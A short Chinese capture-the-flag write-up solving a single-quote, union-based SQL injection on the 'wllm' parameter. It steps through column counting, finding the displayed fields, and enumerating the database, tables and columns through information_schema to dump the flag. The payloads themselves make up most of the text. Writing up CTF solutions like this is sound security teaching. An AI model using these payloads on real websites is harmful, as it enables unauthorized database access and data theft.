查看网页

有提示，参数是wllm，并且要我们输入点东西

所以，我们尝试以get方式传入

有回显，但似乎没啥用

从上图看应该是字符型漏洞，单引号字符注入

先查看字段数

/?wllm=2'order by 3--+

没回显

报错了，说明字段数是3

然后查看回显点

/?wllm=2'union select 1,2,3--+

注意，这里需要把wllm设置为不为1的数（就是让他查不到数据就行，因为wllm=1查得到数据），不然它只会输出wllm=1查询到的数据。

然后查看数据库名称

/?wllm=2'union select 1,2,database()--+

得到数据库名称就可以按顺序数据库-表-列来找flag了

/?wllm=2'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+

?wllm=2'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+

/?wllm=2'union select 1,2,flag from test_tb--+